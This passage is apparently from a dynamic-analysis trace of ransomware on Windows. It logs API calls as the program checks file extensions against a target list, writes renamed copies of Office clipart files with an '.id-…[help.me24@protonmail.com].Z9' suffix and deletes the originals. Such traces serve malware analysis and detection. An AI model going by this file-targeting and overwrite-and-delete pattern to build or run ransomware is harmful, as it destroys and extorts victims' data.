	[0173.167] WriteFile (in: hFile=0x558, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x7c50, lpOverlapped=0x0) returned 1
	[0173.168] ReadFile (in: hFile=0x554, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.168] WriteFile (in: hFile=0x558, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.168] SetEndOfFile (hFile=0x558) returned 1
	[0173.169] CloseHandle (hObject=0x558) returned 1
	[0173.169] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.169] SetEndOfFile (hFile=0x554) returned 1
	[0173.172] CloseHandle (hObject=0x554) returned 1
	[0173.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf")) returned 1
	[0173.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0173.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0173.607] lstrlenW (lpString=".doc") returned 4
	[0173.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.607] lstrlenW (lpString=".docx") returned 5
	[0173.607] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0173.607] lstrlenW (lpString=".pdf") returned 4
	[0173.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.613] lstrlenW (lpString=".xls") returned 4
	[0173.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.613] lstrlenW (lpString=".xlsx") returned 5
	[0173.613] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0173.613] lstrlenW (lpString=".ppt") returned 4
	[0173.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0173.613] lstrlenW (lpString=".zip") returned 4
	[0173.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.613] lstrlenW (lpString=".rar") returned 4
	[0173.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.613] lstrlenW (lpString=".bz2") returned 4
	[0173.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.613] lstrlenW (lpString=".7z") returned 3
	[0173.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0173.613] lstrlenW (lpString=".dbf") returned 4
	[0173.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0173.613] lstrlenW (lpString=".1cd") returned 4
	[0173.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0173.613] lstrlenW (lpString=".jpg") returned 4
	[0173.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0173.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0173.614] lstrlenW (lpString=".doc") returned 4
	[0173.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.614] lstrlenW (lpString=".docx") returned 5
	[0173.614] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0173.614] lstrlenW (lpString=".pdf") returned 4
	[0173.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.614] lstrlenW (lpString=".xls") returned 4
	[0173.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.614] lstrlenW (lpString=".xlsx") returned 5
	[0173.614] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0173.614] lstrlenW (lpString=".ppt") returned 4
	[0173.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0173.614] lstrlenW (lpString=".zip") returned 4
	[0173.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.614] lstrlenW (lpString=".rar") returned 4
	[0173.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.614] lstrlenW (lpString=".bz2") returned 4
	[0173.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.614] lstrlenW (lpString=".7z") returned 3
	[0173.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0173.614] lstrlenW (lpString=".dbf") returned 4
	[0173.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0173.614] lstrlenW (lpString=".1cd") returned 4
	[0173.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF") returned 68
	[0173.614] lstrlenW (lpString=".jpg") returned 4
	[0173.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.614] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.615] lstrlenW (lpString="J0107138.WMF") returned 12
	[0173.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0173.615] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=17200) returned 1
	[0173.616] CloseHandle (hObject=0x544) returned 1
	[0173.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 0x220
	[0173.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0173.616] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.616] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0173.617] GetLastError () returned 0x0
	[0173.617] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x4330, lpOverlapped=0x0) returned 1
	[0173.619] WriteFile (in: hFile=0x460, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x4340, lpOverlapped=0x0) returned 1
	[0173.620] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.620] WriteFile (in: hFile=0x460, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.621] SetEndOfFile (hFile=0x460) returned 1
	[0173.621] CloseHandle (hObject=0x460) returned 1
	[0173.621] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.621] SetEndOfFile (hFile=0x544) returned 1
	[0173.624] CloseHandle (hObject=0x544) returned 1
	[0173.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 1
	[0173.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0173.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0173.625] lstrlenW (lpString=".doc") returned 4
	[0173.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.625] lstrlenW (lpString=".docx") returned 5
	[0173.625] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0173.625] lstrlenW (lpString=".pdf") returned 4
	[0173.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.625] lstrlenW (lpString=".xls") returned 4
	[0173.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.626] lstrlenW (lpString=".xlsx") returned 5
	[0173.626] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0173.626] lstrlenW (lpString=".ppt") returned 4
	[0173.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0173.626] lstrlenW (lpString=".zip") returned 4
	[0173.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.626] lstrlenW (lpString=".rar") returned 4
	[0173.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.626] lstrlenW (lpString=".bz2") returned 4
	[0173.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.626] lstrlenW (lpString=".7z") returned 3
	[0173.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0173.626] lstrlenW (lpString=".dbf") returned 4
	[0173.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0173.626] lstrlenW (lpString=".1cd") returned 4
	[0173.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0173.626] lstrlenW (lpString=".jpg") returned 4
	[0173.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0173.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0173.626] lstrlenW (lpString=".doc") returned 4
	[0173.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.626] lstrlenW (lpString=".docx") returned 5
	[0173.626] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0173.626] lstrlenW (lpString=".pdf") returned 4
	[0173.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.626] lstrlenW (lpString=".xls") returned 4
	[0173.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.626] lstrlenW (lpString=".xlsx") returned 5
	[0173.626] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0173.627] lstrlenW (lpString=".ppt") returned 4
	[0173.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0173.627] lstrlenW (lpString=".zip") returned 4
	[0173.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.627] lstrlenW (lpString=".rar") returned 4
	[0173.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.627] lstrlenW (lpString=".bz2") returned 4
	[0173.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.627] lstrlenW (lpString=".7z") returned 3
	[0173.627] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0173.627] lstrlenW (lpString=".dbf") returned 4
	[0173.627] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0173.627] lstrlenW (lpString=".1cd") returned 4
	[0173.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68
	[0173.627] lstrlenW (lpString=".jpg") returned 4
	[0173.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.627] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.627] lstrlenW (lpString="J0107146.WMF") returned 12
	[0173.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0173.628] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=14996) returned 1
	[0173.628] CloseHandle (hObject=0x544) returned 1
	[0173.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 0x220
	[0173.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0173.629] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.629] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0173.630] GetLastError () returned 0x0
	[0173.630] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x3a94, lpOverlapped=0x0) returned 1
	[0173.632] WriteFile (in: hFile=0x460, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x3aa0, lpOverlapped=0x0) returned 1
	[0173.633] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.633] WriteFile (in: hFile=0x460, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.633] SetEndOfFile (hFile=0x460) returned 1
	[0173.633] CloseHandle (hObject=0x460) returned 1
	[0173.633] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.633] SetEndOfFile (hFile=0x544) returned 1
	[0173.636] CloseHandle (hObject=0x544) returned 1
	[0173.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf")) returned 1
	[0173.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0173.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0173.637] lstrlenW (lpString=".doc") returned 4
	[0173.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.638] lstrlenW (lpString=".docx") returned 5
	[0173.638] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0173.638] lstrlenW (lpString=".pdf") returned 4
	[0173.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.638] lstrlenW (lpString=".xls") returned 4
	[0173.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.638] lstrlenW (lpString=".xlsx") returned 5
	[0173.638] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0173.638] lstrlenW (lpString=".ppt") returned 4
	[0173.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0173.638] lstrlenW (lpString=".zip") returned 4
	[0173.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.638] lstrlenW (lpString=".rar") returned 4
	[0173.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.638] lstrlenW (lpString=".bz2") returned 4
	[0173.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.638] lstrlenW (lpString=".7z") returned 3
	[0173.638] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0173.638] lstrlenW (lpString=".dbf") returned 4
	[0173.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0173.638] lstrlenW (lpString=".1cd") returned 4
	[0173.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0173.638] lstrlenW (lpString=".jpg") returned 4
	[0173.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0173.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0173.638] lstrlenW (lpString=".doc") returned 4
	[0173.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.638] lstrlenW (lpString=".docx") returned 5
	[0173.638] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0173.638] lstrlenW (lpString=".pdf") returned 4
	[0173.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.639] lstrlenW (lpString=".xls") returned 4
	[0173.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.639] lstrlenW (lpString=".xlsx") returned 5
	[0173.639] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0173.639] lstrlenW (lpString=".ppt") returned 4
	[0173.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0173.639] lstrlenW (lpString=".zip") returned 4
	[0173.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.639] lstrlenW (lpString=".rar") returned 4
	[0173.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.639] lstrlenW (lpString=".bz2") returned 4
	[0173.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.639] lstrlenW (lpString=".7z") returned 3
	[0173.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0173.639] lstrlenW (lpString=".dbf") returned 4
	[0173.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0173.639] lstrlenW (lpString=".1cd") returned 4
	[0173.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF") returned 68
	[0173.639] lstrlenW (lpString=".jpg") returned 4
	[0173.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.639] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.639] lstrlenW (lpString="J0107148.WMF") returned 12
	[0173.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0173.641] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=20136) returned 1
	[0173.641] CloseHandle (hObject=0x544) returned 1
	[0173.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 0x220
	[0173.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0173.641] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.641] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0173.642] GetLastError () returned 0x0
	[0173.642] ReadFile (in: hFile=0x544, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x4ea8, lpOverlapped=0x0) returned 1
